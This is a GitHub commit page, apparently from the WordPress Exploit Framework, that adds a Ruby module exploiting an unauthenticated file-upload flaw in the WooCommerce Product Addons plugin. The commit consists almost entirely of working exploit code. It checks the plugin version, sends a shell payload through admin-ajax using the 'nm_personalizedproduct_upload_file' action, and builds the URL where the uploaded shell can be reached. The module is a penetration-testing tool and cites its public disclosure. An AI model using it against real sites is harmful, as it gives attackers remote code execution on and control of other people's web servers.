Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 11a404e

Browse files
committed
Add WooCommerce Product Addons shell upload module
1 parent 8676abc commit 11a404e

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::WoocommerceProductAddonsShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WooCommerce Product Addons <= 1.1 Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8630'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-woocommerce-extra-fields/']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('woocommerce-product-addon', '2.0')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'nm_personalizedproduct_upload_file')
32+
builder.add_file_from_string('file', payload.encoded, payload_name)
33+
builder.add_field('name', payload_name)
34+
builder
35+
end
36+
37+
def uploaded_payload_location
38+
normalize_uri(wordpress_url_uploads, 'product_files', payload_name.downcase)
39+
end
40+
end

0 commit comments

Comments
 (0)